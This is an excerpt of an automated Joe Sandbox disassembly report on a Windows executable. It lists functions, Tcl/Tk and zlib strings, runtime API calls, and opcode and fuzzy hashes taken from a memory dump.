_invalid_parameter_noinfo.LIBCMT ref: 00007FF640505687

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: eedf25f2b05d0655e21498cbdec18688e9d19f6df4cd42a0092cd8ddb62cc3eb
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: CD21C53260C68196DB65BF28D54037E72A1FB86B98F544234DA6D877D5DF3DD8008B00

Function 00007FF6404EF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404EF730

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: aefa84df2ba0a0cd2fca3bf567ad65d4562a04af02d94f99f3b79dd55db81223
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: 7901C421A1C7A290EA04FF569900079A695FF96FE0F484631DE6C93BD6DF3CE4029340

Function 00007FF6404F720C Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F724A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bb049028caba5e04dba667320418798f18563eb801bd7df1d5910388d10efff1
Instruction ID: d6133703477ad464a835fcb130d12b44d211962b92f02d38f8a58b91a197a4e1
Opcode Fuzzy Hash: bb049028caba5e04dba667320418798f18563eb801bd7df1d5910388d10efff1
Instruction Fuzzy Hash: F401DD20E0D6B3E1FEA4BBA16641579129AEF457D4F050175F96CC27C6DF3CE4404701

Function 00007FF6404F7548 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F7561

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c51c900cc97cfaa1f2463de7ded10a88eb35566439d91f89b12c497efef6b613
Instruction ID: b0a664d22002de4b3525d03edf901b5746a1fc20be997a07d62db38b0e35b271
Opcode Fuzzy Hash: c51c900cc97cfaa1f2463de7ded10a88eb35566439d91f89b12c497efef6b613
Instruction Fuzzy Hash: 0AE0EC90F0C267E2FA14BAE849C26B9151A9FA4350F405030D9088A383DD1C78959721

Function 00007FF6404FDEA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF6404FA63A,?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A), ref: 00007FF6404FDEFD

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction ID: 98a5e7f098b90d778abbfa37ea9d07980415a81a17a3c59796a0e34c29b73baf
Opcode Fuzzy Hash: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction Fuzzy Hash: ACF06D15B0D667E0FE58B66259553B9329B9F98B40F488430C90ECA3C2DE2CE4818320

Function 00007FF6404FC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6404EFFB0,?,?,?,00007FF6404F161A,?,?,?,?,?,00007FF6404F2E09), ref: 00007FF6404FC94A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: f521ba59cfb01d67be82970a1102318cebdaaca2b8441e20f092a82f209aff6b
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: 36F01251F2D267E5FE5876B15A51BB9128A9F84774F084630DD3EC53C1DEACA5418310

Non-executed Functions

Function 00007FF6404E6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6404E6EB7
GetProcAddress.KERNEL32 ref: 00007FF6404E6EFD
GetProcAddress.KERNEL32 ref: 00007FF6404E6F22
GetProcAddress.KERNEL32 ref: 00007FF6404E6F47
GetProcAddress.KERNEL32 ref: 00007FF6404E6F6F
GetProcAddress.KERNEL32 ref: 00007FF6404E6F97
GetProcAddress.KERNEL32 ref: 00007FF6404E6FBF
GetProcAddress.KERNEL32 ref: 00007FF6404E6FE7
GetProcAddress.KERNEL32 ref: 00007FF6404E700F

Strings

Tk_Init, xrefs: 00007FF6404E739D, 00007FF6404E73B9
Tcl_Free, xrefs: 00007FF6404E7375, 00007FF6404E7391
Tcl_NewByteArrayObj, xrefs: 00007FF6404E725D, 00007FF6404E7279
Tcl_GetVar2, xrefs: 00007FF6404E7195, 00007FF6404E71B1
Tcl_ThreadQueueEvent, xrefs: 00007FF6404E7145, 00007FF6404E7161
Tcl_GetString, xrefs: 00007FF6404E720D, 00007FF6404E7229
Tcl_ThreadAlert, xrefs: 00007FF6404E716D, 00007FF6404E7189
Tcl_GetCurrentThread, xrefs: 00007FF6404E7005, 00007FF6404E7021
Tcl_ConditionNotify, xrefs: 00007FF6404E70F5, 00007FF6404E7111
Tcl_GetObjResult, xrefs: 00007FF6404E72AD, 00007FF6404E72C9
Tcl_CreateThread, xrefs: 00007FF6404E6FDD, 00007FF6404E6FF9
Tcl_Alloc, xrefs: 00007FF6404E734D, 00007FF6404E7369
Tcl_SetVar2Ex, xrefs: 00007FF6404E7285, 00007FF6404E72A1
Tcl_MutexLock, xrefs: 00007FF6404E7055, 00007FF6404E7071
Tcl_DeleteInterp, xrefs: 00007FF6404E6FB5, 00007FF6404E6FD1
Tcl_DoOneEvent, xrefs: 00007FF6404E6F3D, 00007FF6404E6F59
Tcl_CreateInterp, xrefs: 00007FF6404E6EF3, 00007FF6404E6F0F
Tcl_EvalEx, xrefs: 00007FF6404E72FD, 00007FF6404E7319
Tcl_EvalObjv, xrefs: 00007FF6404E7325, 00007FF6404E7341
Tk_GetNumMainWindows, xrefs: 00007FF6404E73C5, 00007FF6404E73E1
Tcl_JoinThread, xrefs: 00007FF6404E702D, 00007FF6404E7049
Tcl_EvalFile, xrefs: 00007FF6404E72D5, 00007FF6404E72F1
Tcl_SetVar2, xrefs: 00007FF6404E71BD, 00007FF6404E71D9
Tcl_Init, xrefs: 00007FF6404E6EB0, 00007FF6404E6EC9
Tcl_NewStringObj, xrefs: 00007FF6404E7235, 00007FF6404E7251
Tcl_FindExecutable, xrefs: 00007FF6404E6F18, 00007FF6404E6F34
Failed to get address for %hs, xrefs: 00007FF6404E6ED0
Tcl_ConditionWait, xrefs: 00007FF6404E711D, 00007FF6404E7139
Tcl_ConditionFinalize, xrefs: 00007FF6404E70CD, 00007FF6404E70E9
Tcl_CreateObjCommand, xrefs: 00007FF6404E71E5, 00007FF6404E7201
Tcl_MutexUnlock, xrefs: 00007FF6404E707D, 00007FF6404E7099
Tcl_FinalizeThread, xrefs: 00007FF6404E6F8D, 00007FF6404E6FA9
GetProcAddress, xrefs: 00007FF6404E6ED7
Tcl_Finalize, xrefs: 00007FF6404E6F65, 00007FF6404E6F81
Tcl_MutexFinalize, xrefs: 00007FF6404E70A5, 00007FF6404E70C1

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-3427451314
Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction ID: abbbf6ab425959a4ee5db86c0e07891b53cc1cfff00ffca5121d5a0f11402665
Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction Fuzzy Hash: 5DE1766890DB63F0FA5DFB14BA541B833A5EF1A798F845435C82E823A4EF3CA548C351

Function 00007FF6405033BC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF64050340A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF640503A76
_invalid_parameter_noinfo.LIBCMT ref: 00007FF640503BEC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF640503EAA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6405040CA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF640504307
memcpy_s.LIBCPMT ref: 00007FF6405043E2
memcpy_s.LIBCPMT ref: 00007FF64050448D
memcpy_s.LIBCPMT ref: 00007FF64050455C

Strings

1#IND, xrefs: 00007FF6405034F7
1#QNAN, xrefs: 00007FF640503523
1#INF, xrefs: 00007FF640503533
1#SNAN, xrefs: 00007FF64050351A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 006b587dceb6a8e5448b800068f928c3aefb42c20130fc8eaa47f3b19415637c
Instruction ID: b25be81cb71a796bf97b59b4ad97dce53ffa0d27d58ae6af5e4c5acef20fd6bd
Opcode Fuzzy Hash: 006b587dceb6a8e5448b800068f928c3aefb42c20130fc8eaa47f3b19415637c
Instruction Fuzzy Hash: D4B2F4B2E1C2A29BE728AF64D6407FD37A5FB5538CF405135DA2997B85DF38A900CB40

Function 00007FF6404E9FCD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid code -- missing end-of-block, xrefs: 00007FF6404EA3E6
too many length or distance symbols, xrefs: 00007FF6404EA166
invalid distance too far back, xrefs: 00007FF6404EA990
invalid literal/lengths set, xrefs: 00007FF6404EA453
invalid bit length repeat, xrefs: 00007FF6404EA3B9
invalid code lengths set, xrefs: 00007FF6404EA14D
invalid distance code, xrefs: 00007FF6404EA8D4
invalid literal/length code, xrefs: 00007FF6404EA702
invalid distances set, xrefs: 00007FF6404EA4C0

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 7289e34dee421d23927a0f8f8a094fde9ef8b8d5e9feb20e52711e481e6fcba8
Instruction ID: 8577d0c187cc32b90f294497aebb14f984045c58d530ed39e0b28acbf9fc0b19
Opcode Fuzzy Hash: 7289e34dee421d23927a0f8f8a094fde9ef8b8d5e9feb20e52711e481e6fcba8
Instruction Fuzzy Hash: 0F52B272A186B69BD794EF14C458A7E3BA9FB84340F154139EA4A877C0DF3DE944CB80

Function 00007FF6404EC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6404EC468
RtlCaptureContext.KERNEL32 ref: 00007FF6404EC495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6404EC4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF6404EC4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6404EC544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6404EC561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6404EC56C

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction ID: 3ec315774e2e966e507582b769b1e8d3e34b39d51ed6993d7d51d750dfd109b8
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: CC314C7661CB9296EB64EF60E8903EE7360FB85748F04443ADA4E87B99DF38D548C710

Function 00007FF6404E29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6404E342E,?,00007FF6404E3534), ref: 00007FF6404E2A14
FormatMessageW.KERNEL32(?,?,?,00007FF6404E342E), ref: 00007FF6404E2A7D
MessageBoxW.USER32 ref: 00007FF6404E2ACF

Strings

Error, xrefs: 00007FF6404E2ABE
%ls%ls: %ls, xrefs: 00007FF6404E2A96
<FormatMessageW failed.>, xrefs: 00007FF6404E2A83

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction ID: 254e0af54bfeede140830f3e6c79a011187cf6447a103088df4033657765c7e9
Opcode Fuzzy Hash: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction Fuzzy Hash: 2B21517260CAA192F724FB10F5506DA7364FB89788F400136EADD93B98DF7CD5468B40

Function 00007FF6404F9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6404F999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6404F99B5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6404F99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6404F9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6404F9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6404F9A3E

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: 3891df918236542e21a933cb94d5bbda2276a66832b62c853e2cb9478c37822d
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 7231B43661CF9295EB64EF25E8802AE33A4FB89758F540135EA9D83B98DF3CC545CB00

Function 00007FF640500B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF640500BD0
FindFirstFileExW.KERNEL32 ref: 00007FF640500CDA

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction ID: 37b713b53cc68f08942d79398f14ce3f1865504be49422b01fcfef59d1de5146
Opcode Fuzzy Hash: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction Fuzzy Hash: 7BB1D522B1C6A291EA68BB61D6101BD6395FB46BECF446131EE6D97BC5DF3CE841C300

Function 00007FF6404EC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6404EC35C
GetCurrentThreadId.KERNEL32 ref: 00007FF6404EC36A
GetCurrentProcessId.KERNEL32 ref: 00007FF6404EC376
QueryPerformanceCounter.KERNEL32 ref: 00007FF6404EC386

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: d03305e209f12da7931db38f9328676fcaee51668232bcff120ac439f25be5d2
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 39114826B18B169AEB00EF60E9442AC33A4FB59758F040E31DE2D86BA4DF78D1988340

Function 00007FF640502F20 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF640502F86
memcpy_s.LIBCPMT ref: 00007FF640502FB1

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
Instruction ID: cd5727578f247cf2275260863d85fa31ef83c92fd3adcf9b8135b3dfca9dabe0
Opcode Fuzzy Hash: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
Instruction Fuzzy Hash: 84C12672B1D69697D728EF19A2886AEB795F789788F408135DB5E83744DF3DE800CB00

Function 00007FF6404E979B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF6404E97E5
header crc mismatch, xrefs: 00007FF6404E9C41
, xrefs: 00007FF6404E987B

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

